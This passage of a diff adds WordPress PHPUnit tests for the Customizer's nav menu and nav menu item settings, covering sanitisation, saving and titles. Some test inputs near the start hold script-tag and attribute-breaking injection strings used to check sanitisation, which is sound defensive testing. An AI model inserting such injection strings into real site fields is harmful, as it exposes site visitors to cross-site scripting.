+			'title' => current_user_can( 'unfiltered_html' ) ? '\o/ o\'o Hi<script>unfilteredHtml()</script>' : '\o/ o\'o HiunfilteredHtml()',
+			'url' => '',
+			'target' => 'onclick',
+			'attr_title' => current_user_can( 'unfiltered_html' ) ? '\o/ o\'o <b>bolded</b><script>unfilteredHtml()</script>' : '\o/ o\'o <b>bolded</b>unfilteredHtml()',
+			'description' => current_user_can( 'unfiltered_html' ) ? '\o/ o\'o <b>Hello world</b><script>unfilteredHtml()</script>' : '\o/ o\'o <b>Hello world</b>unfilteredHtml()',
+			'classes' => 'hello  inject',
+			'xfn' => 'hello  inject',
+			'status' => 'draft',
+			'original_title' => 'Hi',
+			'nav_menu_term_id' => 0,
+		);
+
+		$sanitized = $setting->sanitize( $unsanitized );
+		$this->assertEqualSets( array_keys( $unsanitized ), array_keys( $sanitized ) );
+
+		foreach ( $expected_sanitized as $key => $value ) {
+			$this->assertEquals( $value, $sanitized[ $key ], "Expected $key to be sanitized." );
+		}
+
+		$nav_menu_item_id = wp_update_nav_menu_item( $menu_id, 0, wp_slash( array(
+			'menu-item-object-id' => $unsanitized['object_id'],
+			'menu-item-object' => $unsanitized['object'],
+			'menu-item-parent-id' => $unsanitized['menu_item_parent'],
+			'menu-item-position' => $unsanitized['position'],
+			'menu-item-type' => $unsanitized['type'],
+			'menu-item-title' => $unsanitized['title'],
+			'menu-item-url' => $unsanitized['url'],
+			'menu-item-description' => $unsanitized['description'],
+			'menu-item-attr-title' => $unsanitized['attr_title'],
+			'menu-item-target' => $unsanitized['target'],
+			'menu-item-classes' => $unsanitized['classes'],
+			'menu-item-xfn' => $unsanitized['xfn'],
+			'menu-item-status' => $unsanitized['status'],
+		) ) );
+
+		$post = get_post( $nav_menu_item_id );
+		$nav_menu_item = wp_setup_nav_menu_item( clone $post );
+
+		$this->assertEquals( $expected_sanitized['object_id'], $nav_menu_item->object_id );
+		$this->assertEquals( $expected_sanitized['object'], $nav_menu_item->object );
+		$this->assertEquals( $expected_sanitized['menu_item_parent'], $nav_menu_item->menu_item_parent );
+		$this->assertEquals( $expected_sanitized['position'], $post->menu_order );
+		$this->assertEquals( $expected_sanitized['type'], $nav_menu_item->type );
+		$this->assertEquals( $expected_sanitized['title'], $post->post_title );
+		$this->assertEquals( $expected_sanitized['url'], $nav_menu_item->url );
+		$this->assertEquals( $expected_sanitized['description'], $post->post_content );
+		$this->assertEquals( $expected_sanitized['attr_title'], $post->post_excerpt );
+		$this->assertEquals( $expected_sanitized['target'], $nav_menu_item->target );
+		$this->assertEquals( $expected_sanitized['classes'], implode( ' ', $nav_menu_item->classes ) );
+		$this->assertEquals( $expected_sanitized['xfn'], $nav_menu_item->xfn );
+		$this->assertEquals( $expected_sanitized['status'], $post->post_status );
+	}
+
+	/**
+	 * Test protected update() method via the save() method, for updated menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
+	 */
+	function test_save_updated() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$first_post_id = self::factory()->post->create( array( 'post_title' => 'Hello World' ) );
+		$second_post_id = self::factory()->post->create( array( 'post_title' => 'Hola Muno' ) );
+
+		$primary_menu_id = wp_create_nav_menu( 'Primary' );
+		$secondary_menu_id = wp_create_nav_menu( 'Secondary' );
+		$item_title = 'Greetings';
+		$item_id = wp_update_nav_menu_item( $primary_menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'post',
+			'menu-item-object-id' => $first_post_id,
+			'menu-item-title' => $item_title,
+			'menu-item-status' => 'publish',
+		) );
+		$this->assertNotEmpty( wp_get_nav_menu_items( $primary_menu_id, array( 'post_status' => 'publish,draft' ) ) );
+
+		$post_value = array(
+			'type' => 'post_type',
+			'object' => 'post',
+			'object_id' => $second_post_id,
+			'title' => 'Saludos \o/ o\'o',
+			'status' => 'publish',
+			'nav_menu_term_id' => $secondary_menu_id,
+		);
+		$setting_id = "nav_menu_item[$item_id]";
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, $setting_id );
+		$this->wp_customize->set_post_value( $setting_id, $post_value );
+		unset( $post_value['nav_menu_term_id'] );
+		$setting->save();
+
+		// Make sure the menu item appears in the new menu.
+		$this->assertNotContains( $item_id, wp_list_pluck( wp_get_nav_menu_items( $primary_menu_id ), 'db_id' ) );
+		$menu_items = wp_get_nav_menu_items( $secondary_menu_id );
+		$db_ids = wp_list_pluck( $menu_items, 'db_id' );
+		$this->assertContains( $item_id, $db_ids );
+		$i = array_search( $item_id, $db_ids );
+		$updated_item = $menu_items[ $i ];
+		$post_value['post_status'] = $post_value['status'];
+		unset( $post_value['status'] );
+		foreach ( $post_value as $key => $value ) {
+			$this->assertEquals( $value, $updated_item->$key, "Key $key mismatch" );
+		}
+
+		// Verify the Ajax responses is being amended.
+		$save_response = apply_filters( 'customize_save_response', array() );
+		$this->assertArrayHasKey( 'nav_menu_item_updates', $save_response );
+		$update_result = array_shift( $save_response['nav_menu_item_updates'] );
+		$this->assertArrayHasKey( 'post_id', $update_result );
+		$this->assertArrayHasKey( 'previous_post_id', $update_result );
+		$this->assertArrayHasKey( 'error', $update_result );
+		$this->assertArrayHasKey( 'status', $update_result );
+
+		$this->assertEquals( $item_id, $update_result['post_id'] );
+		$this->assertNull( $update_result['previous_post_id'] );
+		$this->assertNull( $update_result['error'] );
+		$this->assertEquals( 'updated', $update_result['status'] );
+	}
+
+	/**
+	 * Test protected update() method via the save() method, for inserted menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
+	 */
+	function test_save_inserted() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$menu_id = wp_create_nav_menu( 'Primary' );
+		$post_id = self::factory()->post->create( array( 'post_title' => 'Hello World' ) );
+		$item_ids = array();
+		for ( $i = 0; $i < 5; $i += 1 ) {
+			$item_id = wp_update_nav_menu_item( $menu_id, 0, array(
+				'menu-item-type' => 'post_type',
+				'menu-item-object' => 'post',
+				'menu-item-object-id' => $post_id,
+				'menu-item-title' => "Item $i",
+				'menu-item-status' => 'publish',
+				'menu-item-position' => $i + 1,
+			) );
+			$item_ids[] = $item_id;
+		}
+
+		$post_value = array(
+			'type' => 'post_type',
+			'object' => 'post',
+			'object_id' => $post_id,
+			'title' => 'Inserted item',
+			'status' => 'publish',
+			'nav_menu_term_id' => $menu_id,
+			'position' => count( $item_ids ) + 1,
+		);
+
+		$new_item_id = -10;
+		$setting_id = "nav_menu_item[$new_item_id]";
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, $setting_id );
+		$this->wp_customize->set_post_value( $setting_id, $post_value );
+		unset( $post_value['nav_menu_term_id'] );
+
+		$current_items = wp_get_nav_menu_items( $menu_id );
+		$setting->save();
+		$preview_items = wp_get_nav_menu_items( $menu_id );
+		$this->assertNotEquals( count( $current_items ), count( $preview_items ) );
+
+		$last_item = array_pop( $preview_items );
+		$this->assertEquals( $setting->post_id, $last_item->db_id );
+		$post_value['post_status'] = $post_value['status'];
+		unset( $post_value['status'] );
+		$post_value['menu_order'] = $post_value['position'];
+		unset( $post_value['position'] );
+		foreach ( $post_value as $key => $value ) {
+			$this->assertEquals( $value, $last_item->$key, "Mismatch for $key property." );
+		}
+
+		// Verify the Ajax responses is being amended.
+		$save_response = apply_filters( 'customize_save_response', array() );
+		$this->assertArrayHasKey( 'nav_menu_item_updates', $save_response );
+		$update_result = array_shift( $save_response['nav_menu_item_updates'] );
+		$this->assertArrayHasKey( 'post_id', $update_result );
+		$this->assertArrayHasKey( 'previous_post_id', $update_result );
+		$this->assertArrayHasKey( 'error', $update_result );
+		$this->assertArrayHasKey( 'status', $update_result );
+
+		$this->assertEquals( $setting->post_id, $update_result['post_id'] );
+		$this->assertEquals( $new_item_id, $update_result['previous_post_id'] );
+		$this->assertNull( $update_result['error'] );
+		$this->assertEquals( 'inserted', $update_result['status'] );
+	}
+
+	/**
+	 * Test protected update() method via the save() method, for deleted menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
+	 */
+	function test_save_deleted() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$menu_id = wp_create_nav_menu( 'Primary' );
+		$post_id = self::factory()->post->create( array( 'post_title' => 'Hello World' ) );
+		$item_ids = array();
+		for ( $i = 0; $i < 5; $i += 1 ) {
+			$item_id = wp_update_nav_menu_item( $menu_id, 0, array(
+				'menu-item-type' => 'post_type',
+				'menu-item-object' => 'post',
+				'menu-item-object-id' => $post_id,
+				'menu-item-title' => "Item $i",
+				'menu-item-status' => 'publish',
+				'menu-item-position' => $i + 1,
+			) );
+			$item_ids[] = $item_id;
+		}
+
+		$delete_item_id = $item_ids[2];
+		$setting_id = "nav_menu_item[$delete_item_id]";
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, $setting_id );
+		$this->wp_customize->set_post_value( $setting_id, false );
+
+		$current_items = wp_get_nav_menu_items( $menu_id );
+		$this->assertContains( $delete_item_id, wp_list_pluck( $current_items, 'db_id' ) );
+		$setting->save();
+		$preview_items = wp_get_nav_menu_items( $menu_id );
+		$this->assertNotEquals( count( $current_items ), count( $preview_items ) );
+		$this->assertContains( $delete_item_id, wp_list_pluck( $current_items, 'db_id' ) );
+
+		// Verify the Ajax responses is being amended.
+		$save_response = apply_filters( 'customize_save_response', array() );
+		$this->assertArrayHasKey( 'nav_menu_item_updates', $save_response );
+		$update_result = array_shift( $save_response['nav_menu_item_updates'] );
+		$this->assertArrayHasKey( 'post_id', $update_result );
+		$this->assertArrayHasKey( 'previous_post_id', $update_result );
+		$this->assertArrayHasKey( 'error', $update_result );
+		$this->assertArrayHasKey( 'status', $update_result );
+
+		$this->assertEquals( $delete_item_id, $update_result['post_id'] );
+		$this->assertNull( $update_result['previous_post_id'] );
+		$this->assertNull( $update_result['error'] );
+		$this->assertEquals( 'deleted', $update_result['status'] );
+	}
+
+	/**
+	 * @ticket 33665
+	 */
+	function test_invalid_nav_menu_item() {
+		$menu_id = wp_create_nav_menu( 'Primary' );
+		register_post_type( 'poem', array(
+			'public' => true,
+		) );
+
+		$post_id = self::factory()->post->create( array( 'post_type' => 'poem', 'post_title' => 'Code is poetry.' ) );
+		$post = get_post( $post_id );
+		$item_id = wp_update_nav_menu_item( $menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'poem',
+			'menu-item-object-id' => $post_id,
+			'menu-item-title' => $post->post_title,
+			'menu-item-status' => 'publish',
+			'menu-item-position' => 1,
+		) );
+		$setting_id = "nav_menu_item[$item_id]";
+
+		do_action( 'customize_register', $this->wp_customize );
+		$setting = $this->wp_customize->get_setting( $setting_id );
+		$this->assertNotEmpty( $setting );
+		$value = $setting->value();
+		$this->assertFalse( $value['_invalid'] );
+		$value_object = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertFalse( $value_object->_invalid );
+
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, $setting_id );
+		$value = $setting->value();
+		$this->assertFalse( $value['_invalid'] );
+		$value_object = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertFalse( $value_object->_invalid );
+
+		_unregister_post_type( 'poem' );
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, $setting_id );
+		$value = $setting->value();
+		$this->assertTrue( $value['_invalid'] );
+		$value_object = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertTrue( $value_object->_invalid );
+	}
+
+	/**
+	 * Test WP_Customize_Nav_Menu_Item_Setting::value_as_wp_post_nav_menu_item().
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::value_as_wp_post_nav_menu_item()
+	 */
+	function test_value_as_wp_post_nav_menu_item() {
+		$post_id = self::factory()->post->create();
+
+		$setting = new WP_Customize_Nav_Menu_Item_Setting(
+			$this->wp_customize,
+			'nav_menu_item[123]'
+		);
+		$post_value = array(
+			'object_id'        => $post_id,
+			'object'           => 'post',
+			'menu_item_parent' => 0,
+			'position'         => 2,
+			'type'             => 'custom_type',
+			'title'            => 'Hello \o/ o\'o World',
+			'url'              => '',
+			'target'           => '',
+			'attr_title'       => '">att \o/ o\'o empted <b>baddie</b>',
+			'description'      => 'Attempted \o/ o\'o <b>markup</b>',
+			'classes'          => '',
+			'xfn'              => '',
+			'status'           => 'publish',
+			'original_title'   => '',
+			'nav_menu_term_id' => 0,
+			'_invalid'         => false,
+		);
+		$this->wp_customize->set_post_value( $setting->id, $post_value );
+
+		$setting->preview();
+
+		$item_value = $setting->value();
+		$this->assertArrayHasKey( 'type_label', $item_value );
+		$nav_menu_item = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertEquals( 'Custom Link', $nav_menu_item->type_label );
+		$this->assertEquals( $item_value['type_label'], $nav_menu_item->type_label );
+		add_filter( 'wp_setup_nav_menu_item', array( $this, 'filter_type_label' ) );
+		$nav_menu_item = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertEquals( 'Custom Label', $nav_menu_item->type_label );
+
+		$this->assertObjectNotHasAttribute( 'nav_menu_term_id', $nav_menu_item );
+		$this->assertObjectNotHasAttribute( 'status', $nav_menu_item );
+		$this->assertEquals( 'publish', $nav_menu_item->post_status );
+		$this->assertEquals( 'nav_menu_item', $nav_menu_item->post_type );
+		$this->assertObjectNotHasAttribute( 'position', $nav_menu_item );
+		$this->assertEquals( $post_value['position'], $nav_menu_item->menu_order );
+		$this->assertEquals( $post_value['title'], $nav_menu_item->post_title );
+		$this->assertEquals( 123, $nav_menu_item->ID );
+		$this->assertEquals( 123, $nav_menu_item->db_id );
+		$this->assertEquals( wp_get_current_user()->ID, $nav_menu_item->post_author );
+		$this->assertObjectHasAttribute( 'type_label', $nav_menu_item );
+		$expected = apply_filters( 'nav_menu_attr_title', wp_unslash( apply_filters( 'excerpt_save_pre', wp_slash( $post_value['attr_title'] ) ) ) );
+		$this->assertEquals( $expected, $nav_menu_item->attr_title );
+		$this->assertEquals( 'Attempted \o/ o&#8217;o markup', $nav_menu_item->description );
+	}
+
+	/**
+	 * Test WP_Customize_Nav_Menu_Item_Setting::value_as_wp_post_nav_menu_item() to set url for posts, terms, and post type archives.
+	 *
+	 * @ticket 38945
+	 * @covers WP_Customize_Nav_Menu_Item_Setting::value_as_wp_post_nav_menu_item()
+	 */
+	function test_value_as_wp_post_nav_menu_item_term_urls() {
+		$term_id = self::factory()->term->create( array( 'taxonomy' => 'category' ) );
+		register_post_type( 'press_release', array(
+			'has_archive' => true,
+		) );
+		$post_id = self::factory()->post->create( array( 'post_type' => 'press_release' ) );
+
+		// Term.
+		$setting = new WP_Customize_Nav_Menu_Item_Setting(
+			$this->wp_customize,
+			'nav_menu_item[-1]'
+		);
+		$this->wp_customize->set_post_value( $setting->id, array(
+			'type' => 'taxonomy',
+			'object' => 'category',
+			'object_id' => $term_id,
+			'title' => 'Category',
+			'url' => '',
+		) );
+		$setting->preview();
+		$nav_menu_item = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertEquals( get_term_link( $term_id ), $nav_menu_item->url );
+
+		// Post.
+		$setting = new WP_Customize_Nav_Menu_Item_Setting(
+			$this->wp_customize,
+			'nav_menu_item[-2]'
+		);
+		$this->wp_customize->set_post_value( $setting->id, array(
+			'type' => 'post_type',
+			'object' => 'press_release',
+			'object_id' => $post_id,
+			'title' => 'PR',
+			'url' => '',
+		) );
+		$setting->preview();
+		$nav_menu_item = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertEquals( get_permalink( $post_id ), $nav_menu_item->url );
+
+		// Post type archive.
+		$setting = new WP_Customize_Nav_Menu_Item_Setting(
+			$this->wp_customize,
+			'nav_menu_item[-3]'
+		);
+		$this->wp_customize->set_post_value( $setting->id, array(
+			'type' => 'post_type_archive',
+			'object' => 'press_release',
+			'title' => 'PR',
+			'url' => '',
+		) );
+		$setting->preview();
+		$nav_menu_item = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertEquals( get_post_type_archive_link( 'press_release' ), $nav_menu_item->url );
+	}
+
+	/**
+	 * Test WP_Customize_Nav_Menu_Item_Setting::value_as_wp_post_nav_menu_item() for obtaining original title.
+	 *
+	 * @ticket 38945
+	 * @covers WP_Customize_Nav_Menu_Item_Setting::get_original_title()
+	 */
+	function test_get_original_title() {
+		$menu_id = wp_create_nav_menu( 'Menu' );
+		register_post_type( 'press_release', array(
+			'has_archive' => true,
+			'labels' => array(
+				'name' => 'PRs',
+				'singular_name' => 'PR',
+				'archives' => 'All PRs',
+			),
+		) );
+		$original_post_title = 'The PR Post';
+		$post_id = self::factory()->post->create( array( 'post_type' => 'press_release', 'post_title' => $original_post_title ) );
+		$original_term_title = 'The Category Term';
+		$term_id = self::factory()->term->create( array( 'taxonomy' => 'category', 'name' => $original_term_title ) );
+
+		// Post: existing nav menu item.
+		$nav_menu_item_id = wp_update_nav_menu_item( $menu_id, 0, array(
+			'menu-item-object-id' => $post_id,
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'press_release',
+			'menu-item-title' => '',
+			'menu-item-status' => 'publish',
+		) );
+		$setting = new WP_Customize_Nav_Menu_Item_Setting(
+			$this->wp_customize,
+			'nav_menu_item[' . $nav_menu_item_id . ']'
+		);
+		$item_value = $setting->value();
+		$this->assertEquals( $original_post_title, $item_value['original_title'] );
+		$this->assertEquals( '', $item_value['title'] );
+		$item = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertObjectHasAttribute( 'type_label', $item );
+		$this->assertEquals( $original_post_title, $item->original_title );
+		$this->assertEquals( $original_post_title, $item->title );
+		$this->assertArrayHasKey( 'type_label', $item_value );
+		$this->assertEquals( get_post_type_object( 'press_release' )->labels->singular_name, $item_value['type_label'] );
+		$this->assertEquals( $item->type_label, $item_value['type_label'] );
+
+		// Post: staged nav menu item.
+		$setting = new WP_Customize_Nav_Menu_Item_Setting(
+			$this->wp_customize,
+			'nav_menu_item[-1]'
+		);
+		$this->wp_customize->set_post_value( $setting->id, array(
+			'object_id' => $post_id,
+			'type' => 'post_type',
+			'object' => 'press_release',
+			'title' => '',
+			'status' => 'publish',
+		) );
+		$setting->preview();
+		$item_value = $setting->value();
+		$this->assertEquals( $original_post_title, $item_value['original_title'] );
+		$this->assertEquals( '', $item_value['title'] );
+		$item = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertObjectHasAttribute( 'type_label', $item );
+		$this->assertEquals( $original_post_title, $item->original_title );
+		$this->assertEquals( $original_post_title, $item->title );
+		$this->assertArrayHasKey( 'type_label', $item_value );
+		$this->assertEquals( get_post_type_object( 'press_release' )->labels->singular_name, $item_value['type_label'] );
+		$this->assertEquals( $item->type_label, $item_value['type_label'] );
+
+		// Term: existing nav menu item.
+		$nav_menu_item_id = wp_update_nav_menu_item( $menu_id, 0, array(
+			'menu-item-object-id' => $term_id,
+			'menu-item-type' => 'taxonomy',
+			'menu-item-object' => 'category',
+			'menu-item-title' => '',
+			'menu-item-status' => 'publish',
+		) );
+		$setting = new WP_Customize_Nav_Menu_Item_Setting(
+			$this->wp_customize,
+			'nav_menu_item[' . $nav_menu_item_id . ']'
+		);
+		$item_value = $setting->value();
+		$this->assertEquals( $original_term_title, $item_value['original_title'] );
+		$this->assertEquals( '', $item_value['title'] );
+		$item = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertObjectHasAttribute( 'type_label', $item );
+		$this->assertEquals( $original_term_title, $item->original_title );
+		$this->assertEquals( $original_term_title, $item->title );
+		$this->assertArrayHasKey( 'type_label', $item_value );
+		$this->assertEquals( get_taxonomy( 'category' )->labels->singular_name, $item_value['type_label'] );
+		$this->assertEquals( $item->type_label, $item_value['type_label'] );
+
+		// Term: staged nav menu item.
+		$setting = new WP_Customize_Nav_Menu_Item_Setting(
+			$this->wp_customize,
+			'nav_menu_item[-2]'
+		);
+		$this->wp_customize->set_post_value( $setting->id, array(
+			'object_id' => $term_id,
+			'type' => 'taxonomy',
+			'object' => 'category',
+			'title' => '',
+			'status' => 'publish',
+		) );
+		$setting->preview();
+		$item_value = $setting->value();
+		$this->assertEquals( $original_term_title, $item_value['original_title'] );
+		$this->assertEquals( '', $item_value['title'] );
+		$item = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertObjectHasAttribute( 'type_label', $item );
+		$this->assertEquals( $original_term_title, $item->original_title );
+		$this->assertEquals( $original_term_title, $item->title );
+		$this->assertArrayHasKey( 'type_label', $item_value );
+		$this->assertEquals( get_taxonomy( 'category' )->labels->singular_name, $item_value['type_label'] );
+		$this->assertEquals( $item->type_label, $item_value['type_label'] );
+
+		// Post Type Archive: existing nav menu item.
+		$nav_menu_item_id = wp_update_nav_menu_item( $menu_id, 0, array(
+			'menu-item-type' => 'post_type_archive',
+			'menu-item-object' => 'press_release',
+			'menu-item-title' => '',
+			'menu-item-status' => 'publish',
+		) );
+		$setting = new WP_Customize_Nav_Menu_Item_Setting(
+			$this->wp_customize,
+			'nav_menu_item[' . $nav_menu_item_id . ']'
+		);
+		$item_value = $setting->value();
+		$this->assertEquals( get_post_type_object( 'press_release' )->labels->archives, $item_value['original_title'] );
+		$this->assertEquals( '', $item_value['title'] );
+		$item = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertObjectHasAttribute( 'type_label', $item );
+		$this->assertEquals( get_post_type_object( 'press_release' )->labels->archives, $item->original_title );
+		$this->assertEquals( get_post_type_object( 'press_release' )->labels->archives, $item->title );
+		$this->assertArrayHasKey( 'type_label', $item_value );
+		$this->assertEquals( __( 'Post Type Archive' ), $item_value['type_label'] );
+		$this->assertEquals( $item->type_label, $item_value['type_label'] );
+
+		// Post Type Archive: staged nav menu item.
+		$setting = new WP_Customize_Nav_Menu_Item_Setting(
+			$this->wp_customize,
+			'nav_menu_item[-3]'
+		);
+		$this->wp_customize->set_post_value( $setting->id, array(
+			'type' => 'post_type_archive',
+			'object' => 'press_release',
+			'title' => '',
+			'status' => 'publish',
+		) );
+		$setting->preview();
+		$item_value = $setting->value();
+		$this->assertEquals( get_post_type_object( 'press_release' )->labels->archives, $item_value['original_title'] );
+		$this->assertEquals( '', $item_value['title'] );
+		$item = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertObjectHasAttribute( 'type_label', $item );
+		$this->assertEquals( get_post_type_object( 'press_release' )->labels->archives, $item->original_title );
+		$this->assertEquals( get_post_type_object( 'press_release' )->labels->archives, $item->title );
+		$this->assertArrayHasKey( 'type_label', $item_value );
+		$this->assertEquals( __( 'Post Type Archive' ), $item_value['type_label'] );
+		$this->assertEquals( $item->type_label, $item_value['type_label'] );
+	}
+
+	/**
+	 * Test WP_Customize_Nav_Menu_Item_Setting::value_as_wp_post_nav_menu_item() where title is empty.
+	 *
+	 * @ticket 38015
+	 * @see WP_Customize_Nav_Menu_Item_Setting::value_as_wp_post_nav_menu_item()
+	 */
+	function test_value_as_wp_post_nav_menu_item_with_empty_title() {
+		$original_title = 'The Original Title';
+		$post_id = self::factory()->post->create( array( 'post_title' => $original_title ) );
+
+		$setting = new WP_Customize_Nav_Menu_Item_Setting(
+			$this->wp_customize,
+			'nav_menu_item[123]'
+		);
+
+		$post_value = array_merge(
+			$setting->default,
+			array(
+				'object_id'        => $post_id,
+				'object'           => 'post',
+				'type'             => 'post_type',
+				'status'           => 'publish',
+				'nav_menu_term_id' => 0,
+			)
+		);
+		$this->wp_customize->set_post_value( $setting->id, $post_value );
+
+		$setting->preview();
+
+		$nav_menu_item = $setting->value_as_wp_post_nav_menu_item();
+		$this->assertEquals( $original_title, $nav_menu_item->title );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/customize/nav-menu-setting.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/customize/nav-menu-setting.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/customize/nav-menu-setting.php	(revision 56912)
@@ -0,0 +1,509 @@
+<?php
+
+/**
+ * Tests WP_Customize_Nav_Menu_Setting.
+ *
+ * @group customize
+ */
+class Test_WP_Customize_Nav_Menu_Setting extends WP_UnitTestCase {
+
+	/**
+	 * Instance of WP_Customize_Manager which is reset for each test.
+	 *
+	 * @var WP_Customize_Manager
+	 */
+	public $wp_customize;
+
+	/**
+	 * Set up a test case.
+	 *
+	 * @see WP_UnitTestCase::setup()
+	 */
+	function setUp() {
+		parent::setUp();
+		require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+
+		global $wp_customize;
+		$this->wp_customize = new WP_Customize_Manager();
+		$wp_customize = $this->wp_customize;
+	}
+
+	/**
+	 * Delete the $wp_customize global when cleaning up scope.
+	 */
+	function clean_up_global_scope() {
+		global $wp_customize;
+		$wp_customize = null;
+		parent::clean_up_global_scope();
+	}
+
+	/**
+	 * Helper for getting the nav_menu_options option.
+	 *
+	 * @return array
+	 */
+	function get_nav_menu_items_option() {
+		return get_option( 'nav_menu_options', array( 'auto_add' => array() ) );
+	}
+
+	/**
+	 * Test constants and statics.
+	 */
+	function test_constants() {
+		do_action( 'customize_register', $this->wp_customize );
+		$this->assertTrue( taxonomy_exists( WP_Customize_Nav_Menu_Setting::TAXONOMY ) );
+	}
+
+	/**
+	 * Test constructor.
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::__construct()
+	 */
+	function test_construct() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$setting = new WP_Customize_Nav_Menu_Setting( $this->wp_customize, 'nav_menu[123]' );
+		$this->assertEquals( 'nav_menu', $setting->type );
+		$this->assertEquals( 'postMessage', $setting->transport );
+		$this->assertEquals( 123, $setting->term_id );
+		$this->assertNull( $setting->previous_term_id );
+		$this->assertNull( $setting->update_status );
+		$this->assertNull( $setting->update_error );
+		$this->assertInternalType( 'array', $setting->default );
+		foreach ( array( 'name', 'description', 'parent' ) as $key ) {
+			$this->assertArrayHasKey( $key, $setting->default );
+		}
+		$this->assertEquals( '', $setting->default['name'] );
+		$this->assertEquals( '', $setting->default['description'] );
+		$this->assertEquals( 0, $setting->default['parent'] );
+
+		$exception = null;
+		try {
+			$bad_setting = new WP_Customize_Nav_Menu_Setting( $this->wp_customize, 'foo_bar_baz' );
+			unset( $bad_setting );
+		} catch ( Exception $e ) {
+			$exception = $e;
+		}
+		$this->assertInstanceOf( 'Exception', $exception );
+	}
+
+	/**
+	 * Test empty constructor.
+	 */
+	function test_construct_empty_menus() {
+		do_action( 'customize_register', $this->wp_customize );
+		$_wp_customize = $this->wp_customize;
+		unset( $_wp_customize->nav_menus );
+
+		$exception = null;
+		try {
+			$bad_setting = new WP_Customize_Nav_Menu_Setting( $_wp_customize, 'nav_menu_item[123]' );
+			unset( $bad_setting );
+		} catch ( Exception $e ) {
+			$exception = $e;
+		}
+		$this->assertInstanceOf( 'Exception', $exception );
+	}
+
+	/**
+	 * Test constructor for placeholder (draft) menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::__construct()
+	 */
+	function test_construct_placeholder() {
+		do_action( 'customize_register', $this->wp_customize );
+		$default = array(
+			'name' => 'Lorem \\o/',
+			'description' => 'ipsum \\o/',
+			'parent' => 123,
+		);
+		$setting = new WP_Customize_Nav_Menu_Setting( $this->wp_customize, 'nav_menu[-5]', compact( 'default' ) );
+		$this->assertEquals( -5, $setting->term_id );
+		$this->assertEquals( $default, $setting->default );
+	}
+
+	/**
+	 * Test value method.
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::value()
+	 */
+	function test_value() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$menu_name = 'Test 123 \\o/';
+		$parent_menu_id = wp_create_nav_menu( wp_slash( "Parent $menu_name" ) );
+		$description = 'Hello my world \\o/.';
+		$menu_id = wp_update_nav_menu_object( 0, wp_slash( array(
+			'menu-name' => $menu_name,
+			'parent' => $parent_menu_id,
+			'description' => $description,
+		) ) );
+
+		$setting_id = "nav_menu[$menu_id]";
+		$setting = new WP_Customize_Nav_Menu_Setting( $this->wp_customize, $setting_id );
+
+		$value = $setting->value();
+		$this->assertInternalType( 'array', $value );
+		foreach ( array( 'name', 'description', 'parent' ) as $key ) {
+			$this->assertArrayHasKey( $key, $value );
+		}
+		$this->assertEquals( $menu_name, $value['name'] );
+		$this->assertEquals( $description, $value['description'] );
+		$this->assertEquals( $parent_menu_id, $value['parent'] );
+
+		$new_menu_name = 'Foo';
+		wp_update_nav_menu_object( $menu_id, wp_slash( array( 'menu-name' => $new_menu_name ) ) );
+		$updated_value = $setting->value();
+		$this->assertEquals( $new_menu_name, $updated_value['name'] );
+	}
+
+	/**
+	 * Test preview method for updated menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::preview()
+	 */
+	function test_preview_updated() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$menu_id = wp_update_nav_menu_object( 0, wp_slash( array(
+			'menu-name' => 'Name 1 \\o/',
+			'description' => 'Description 1 \\o/',
+			'parent' => 0,
+		) ) );
+		$setting_id = "nav_menu[$menu_id]";
+		$setting = new WP_Customize_Nav_Menu_Setting( $this->wp_customize, $setting_id );
+
+		$nav_menu_options = $this->get_nav_menu_items_option();
+		$this->assertNotContains( $menu_id, $nav_menu_options['auto_add'] );
+
+		$post_value = array(
+			'name' => 'Name 2 \\o/',
+			'description' => 'Description 2 \\o/',
+			'parent' => 1,
+			'auto_add' => true,
+		);
+		$this->wp_customize->set_post_value( $setting_id, $post_value );
+
+		$value = $setting->value();
+		$this->assertEquals( 'Name 1 \\o/', $value['name'] );
+		$this->assertEquals( 'Description 1 \\o/', $value['description'] );
+		$this->assertEquals( 0, $value['parent'] );
+
+		$term = (array) wp_get_nav_menu_object( $menu_id );
+
+		$this->assertEqualSets(
+			wp_array_slice_assoc( $value, array( 'name', 'description', 'parent' ) ),
+			wp_array_slice_assoc( $term, array( 'name', 'description', 'parent' ) )
